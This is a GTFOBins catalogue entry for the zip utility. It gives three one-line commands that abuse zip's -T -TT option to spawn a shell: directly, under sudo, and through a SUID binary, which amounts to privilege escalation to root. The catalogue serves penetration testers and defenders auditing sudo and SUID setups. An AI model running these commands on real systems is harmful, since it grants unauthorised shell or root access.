GTFOBins.github.io/_gtfobins/zip.md
2018-08-19 11:43:26 +02:00

16 lines
343 B
Markdown

---
functions:
execute-interactive:
- code: |
zip /tmp/x.zip /etc/hosts -T -TT 'sh #'
rm /tmp/x.zip
sudo-enabled:
- code: |
sudo zip /tmp/x.zip /etc/hosts -T -TT 'sh #'
sudo rm /tmp/x.zip
suid-limited:
- code: |
./zip /tmp/x.zip /etc/hosts -T -TT 'sh #'
sudo rm /tmp/x.zip
---